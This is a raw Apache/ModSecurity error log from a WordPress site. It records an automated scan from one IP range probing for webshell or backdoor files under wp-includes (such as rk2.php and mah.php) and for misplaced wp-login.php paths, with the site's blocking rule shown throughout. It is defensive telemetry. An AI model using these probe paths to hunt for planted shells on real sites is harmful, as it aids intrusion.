[Wed Feb 25 06:01:30.536067 2026] [:error] [pid 5620:tid 5664] [client 98.159.43.138:33321] [client 98.159.43.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aZ4fuoY2LQjtieeRkoa9sAAAAwI"]
[Wed Feb 25 06:01:36.932993 2026] [:error] [pid 5620:tid 5681] [client 98.159.43.160:53073] [client 98.159.43.160] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.43.160, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/cgi-bin/wp-login.php"] [unique_id "aZ4fwIY2LQjtieeRkoa9yQAAAxI"]
[Wed Feb 25 06:01:40.529266 2026] [:error] [pid 5620:tid 5680] [client 98.159.43.160:53073] [client 98.159.43.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sodium_compat/wp-login.php"] [unique_id "aZ4fxIY2LQjtieeRkoa90wAAAxE"]
[Wed Feb 25 06:01:40.714500 2026] [:error] [pid 5619:tid 5635] [client 98.159.43.144:44759] [client 98.159.43.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aZ4fxJFUzdv-0L_F4fvAaQAAAgA"]
[Wed Feb 25 06:01:56.211552 2026] [:error] [pid 5620:tid 5663] [client 98.159.43.134:38219] [client 98.159.43.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.43.134, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/wp-login.php"] [unique_id "aZ4f1IY2LQjtieeRkoa-KQAAAwE"]
[Wed Feb 25 06:01:58.345348 2026] [:error] [pid 5620:tid 5672] [client 98.159.43.134:38219] [client 98.159.43.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aZ4f1oY2LQjtieeRkoa-LwAAAwo"]
[Wed Feb 25 06:01:58.547144 2026] [:error] [pid 5620:tid 5676] [client 98.159.43.149:53119] [client 98.159.43.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/network.php"] [unique_id "aZ4f1oY2LQjtieeRkoa-MQAAAw4"]
[Wed Feb 25 06:01:58.745730 2026] [:error] [pid 60500:tid 60594] [client 98.159.43.144:55109] [client 98.159.43.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/index.php"] [unique_id "aZ4f1vY9avxuno9KAT_-CQAAA0o"]
[Wed Feb 25 06:02:04.629545 2026] [:error] [pid 20659:tid 20706] [client 98.159.43.138:30505] [client 98.159.43.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/php-compat/autoload_classmap.php"] [unique_id "aZ4f3D_THK_HtK-Q44L1oAAAAEs"]
[Wed Feb 25 06:02:17.812654 2026] [:error] [pid 5620:tid 5662] [client 98.159.43.140:62493] [client 98.159.43.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aZ4f6YY2LQjtieeRkoa-mAAAAwA"]
[Wed Feb 25 06:02:21.640962 2026] [:error] [pid 5619:tid 5655] [client 98.159.43.156:39603] [client 98.159.43.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aZ4f7ZFUzdv-0L_F4fvAxwAAAhQ"]
[Wed Feb 25 06:02:29.108782 2026] [:error] [pid 5619:tid 5635] [client 98.159.43.158:39157] [client 98.159.43.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aZ4f9ZFUzdv-0L_F4fvA1gAAAgA"]
[Wed Feb 25 06:02:29.388278 2026] [:error] [pid 60498:tid 60507] [client 98.159.43.132:56831] [client 98.159.43.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aZ4f9SFCVhQ3ffus0uJxkAAAAsI"]
[Wed Feb 25 06:02:29.777101 2026] [:error] [pid 5620:tid 5666] [client 98.159.43.149:53049] [client 98.159.43.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aZ4f9YY2LQjtieeRkoa-rAAAAwQ"]
[Wed Feb 25 06:02:31.690787 2026] [:error] [pid 60387:tid 60491] [client 98.159.43.109:52653] [client 98.159.43.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aZ4f94HL0QH7Sr13X0KnNQAAApM"]
[Wed Feb 25 06:02:32.027406 2026] [:error] [pid 5556:tid 5594] [client 98.159.43.117:60485] [client 98.159.43.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aZ4f-KOrYeaTyh7lGRUlDQAAAcc"]
[Wed Feb 25 06:02:34.193788 2026] [:error] [pid 5556:tid 5603] [client 98.159.43.111:27461] [client 98.159.43.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aZ4f-qOrYeaTyh7lGRUlGAAAAdA"]
[Wed Feb 25 06:02:37.955262 2026] [:error] [pid 5556:tid 5607] [client 98.159.43.151:39289] [client 98.159.43.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aZ4f_aOrYeaTyh7lGRUlJQAAAdQ"]
[Wed Feb 25 06:02:43.702954 2026] [:error] [pid 20658:tid 20682] [client 98.159.43.109:58079] [client 98.159.43.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aZ4gA-u8cohhPfsAIFmsAAAAAA8"]
[Wed Feb 25 06:02:45.976146 2026] [:error] [pid 5620:tid 5670] [client 98.159.43.114:45265] [client 98.159.43.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aZ4gBYY2LQjtieeRkoa--AAAAwg"]
[Wed Feb 25 06:02:49.793528 2026] [proxy_fcgi:error] [pid 20658:tid 20670] [client 98.159.43.117:24811] AH01071: Got error 'Primary script unknown'
[Wed Feb 25 06:02:53.228034 2026] [:error] [pid 20658:tid 20673] [client 98.159.43.117:24811] [client 98.159.43.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/autoload_classmap.php"] [unique_id "aZ4gDeu8cohhPfsAIFmsBwAAAAY"]
[Wed Feb 25 06:03:19.438470 2026] [:error] [pid 5619:tid 5641] [client 98.159.43.161:51185] [client 98.159.43.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/autoload_classmap.php"] [unique_id "aZ4gJ5FUzdv-0L_F4fvBLwAAAgY"]
[Wed Feb 25 06:03:19.629040 2026] [:error] [pid 5620:tid 5680] [client 98.159.43.130:36821] [client 98.159.43.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aZ4gJ4Y2LQjtieeRkoa_PAAAAxE"]
[Wed Feb 25 06:03:25.241929 2026] [:error] [pid 5556:tid 5593] [client 98.159.43.119:30671] [client 98.159.43.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "aZ4gLaOrYeaTyh7lGRUldwAAAcY"]
[Wed Feb 25 06:03:25.567240 2026] [:error] [pid 5619:tid 5639] [client 98.159.43.150:36001] [client 98.159.43.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aZ4gLZFUzdv-0L_F4fvBOgAAAgQ"]
[Wed Feb 25 06:03:27.528471 2026] [:error] [pid 5620:tid 5664] [client 98.159.43.116:50985] [client 98.159.43.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/wp-login.php"] [unique_id "aZ4gL4Y2LQjtieeRkoa_VgAAAwI"]
[Wed Feb 25 06:03:38.721310 2026] [:error] [pid 5620:tid 5694] [client 98.159.43.131:54381] [client 98.159.43.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aZ4gOoY2LQjtieeRkoa_jQAAAxY"]
[Wed Feb 25 06:03:40.903858 2026] [:error] [pid 5620:tid 5700] [client 98.159.43.131:62513] [client 98.159.43.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.43.131, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aZ4gPIY2LQjtieeRkoa_lwAAAxg"]
[Wed Feb 25 06:03:44.584522 2026] [:error] [pid 5620:tid 5670] [client 98.159.43.131:62513] [client 98.159.43.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aZ4gQIY2LQjtieeRkoa_oAAAAwg"]
[Wed Feb 25 06:03:44.799481 2026] [:error] [pid 20658:tid 20689] [client 98.159.43.148:21613] [client 98.159.43.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aZ4gQOu8cohhPfsAIFmsJwAAABY"]
[Wed Feb 25 06:03:50.735853 2026] [:error] [pid 60498:tid 60515] [client 98.159.43.161:49921] [client 98.159.43.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/autoload_classmap.php"] [unique_id "aZ4gRiFCVhQ3ffus0uJxzQAAAso"]
[Wed Feb 25 06:03:52.930966 2026] [:error] [pid 5619:tid 5650] [client 98.159.43.137:38537] [client 98.159.43.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "aZ4gSJFUzdv-0L_F4fvBXQAAAg8"]
[Wed Feb 25 06:03:59.052896 2026] [proxy_fcgi:error] [pid 60290:tid 60311] [client 98.159.43.114:51275] AH01071: Got error 'Primary script unknown'
[Wed Feb 25 06:04:09.138322 2026] [proxy_fcgi:error] [pid 60290:tid 60299] [client 98.159.43.114:51275] AH01071: Got error 'Primary script unknown'
[Wed Feb 25 06:04:11.136756 2026] [:error] [pid 60290:tid 60305] [client 98.159.43.114:51275] [client 98.159.43.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/plugin.php"] [unique_id "aZ4gWzPwSUztcPyiofp3PwAAAQ0"]
[Wed Feb 25 06:04:17.428638 2026] [:error] [pid 60290:tid 60313] [client 98.159.43.110:61115] [client 98.159.43.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/wp-tinymce.php"] [unique_id "aZ4gYTPwSUztcPyiofp3VQAAARU"]
[Wed Feb 25 06:04:23.149203 2026] [:error] [pid 5620:tid 5670] [client 98.159.43.144:50369] [client 98.159.43.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.43.144, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aZ4gZ4Y2LQjtieeRkobALQAAAwg"]
[Wed Feb 25 06:04:23.153669 2026] [proxy_fcgi:error] [pid 5620:tid 5670] [client 98.159.43.144:50369] AH01071: Got error 'Primary script unknown'
[Wed Feb 25 06:04:32.498664 2026] [:error] [pid 5620:tid 5694] [client 98.159.43.144:50369] [client 98.159.43.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/mah.php"] [unique_id "aZ4gcIY2LQjtieeRkobAcAAAAxY"]
[Wed Feb 25 06:04:32.752155 2026] [:error] [pid 5619:tid 5645] [client 98.159.43.149:29249] [client 98.159.43.149] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.43.149, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/sunrise/wp-login.php"] [unique_id "aZ4gcJFUzdv-0L_F4fvBxwAAAgo"]
[Wed Feb 25 06:04:34.629880 2026] [:error] [pid 5619:tid 5637] [client 98.159.43.149:29249] [client 98.159.43.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/lmfi.php"] [unique_id "aZ4gcpFUzdv-0L_F4fvB1gAAAgI"]
[Wed Feb 25 06:04:45.629998 2026] [proxy_fcgi:error] [pid 5619:tid 5658] [client 98.159.43.152:22979] AH01071: Got error 'Primary script unknown'
[Wed Feb 25 06:04:49.341519 2026] [:error] [pid 5619:tid 5639] [client 98.159.43.152:22979] [client 98.159.43.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aZ4ggZFUzdv-0L_F4fvB_QAAAgQ"]
[Wed Feb 25 06:04:51.511980 2026] [:error] [pid 5620:tid 5670] [client 98.159.43.123:21001] [client 98.159.43.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aZ4gg4Y2LQjtieeRkobAqAAAAwg"]
[Wed Feb 25 06:04:53.891373 2026] [:error] [pid 60290:tid 60304] [client 98.159.43.131:55115] [client 98.159.43.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.43.131, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/light/wp-login.php"] [unique_id "aZ4ghTPwSUztcPyiofp3ZgAAAQw"]
[Wed Feb 25 06:05:06.494171 2026] [:error] [pid 60290:tid 60296] [client 98.159.43.131:55115] [client 98.159.43.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/button/index.php"] [unique_id "aZ4gkjPwSUztcPyiofp3hAAAAQQ"]
[Wed Feb 25 06:05:08.623236 2026] [:error] [pid 5620:tid 5677] [client 98.159.43.142:34565] [client 98.159.43.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/packed.php"] [unique_id "aZ4glIY2LQjtieeRkobA4wAAAw8"]
[Wed Feb 25 06:05:26.576726 2026] [:error] [pid 60290:tid 60309] [client 98.159.43.130:45569] [client 98.159.43.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/file.php"] [unique_id "aZ4gpjPwSUztcPyiofp3rQAAARE"]
[Wed Feb 25 06:05:28.707370 2026] [:error] [pid 60387:tid 60484] [client 98.159.43.151:56739] [client 98.159.43.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aZ4gqIHL0QH7Sr13X0KnowAAAow"]
[Wed Feb 25 06:05:30.801588 2026] [:error] [pid 5620:tid 5677] [client 98.159.43.106:58001] [client 98.159.43.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/Cache/about.php"] [unique_id "aZ4gqoY2LQjtieeRkobBRAAAAw8"]
[Wed Feb 25 06:05:38.017855 2026] [:error] [pid 5620:tid 5700] [client 98.159.43.144:25049] [client 98.159.43.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.43.144, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-content/languages/wp-login.php"] [unique_id "aZ4gsoY2LQjtieeRkobBWwAAAxg"]
[Wed Feb 25 06:05:39.732989 2026] [:error] [pid 5620:tid 5668] [client 98.159.43.144:25049] [client 98.159.43.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aZ4gs4Y2LQjtieeRkobBXQAAAwY"]
[Wed Feb 25 06:05:50.373210 2026] [:error] [pid 5619:tid 5656] [client 98.159.43.111:52385] [client 98.159.43.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aZ4gvpFUzdv-0L_F4fvCewAAAhU"]
[Wed Feb 25 06:05:50.575286 2026] [:error] [pid 60290:tid 60309] [client 98.159.43.107:23219] [client 98.159.43.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/wp-login.php"] [unique_id "aZ4gvjPwSUztcPyiofp3vgAAARE"]
[Wed Feb 25 06:05:57.893417 2026] [proxy_fcgi:error] [pid 5556:tid 5596] [client 98.159.43.141:41619] AH01071: Got error 'Primary script unknown'
[Wed Feb 25 06:06:00.186866 2026] [proxy_fcgi:error] [pid 5556:tid 5606] [client 98.159.43.141:41619] AH01071: Got error 'Primary script unknown'
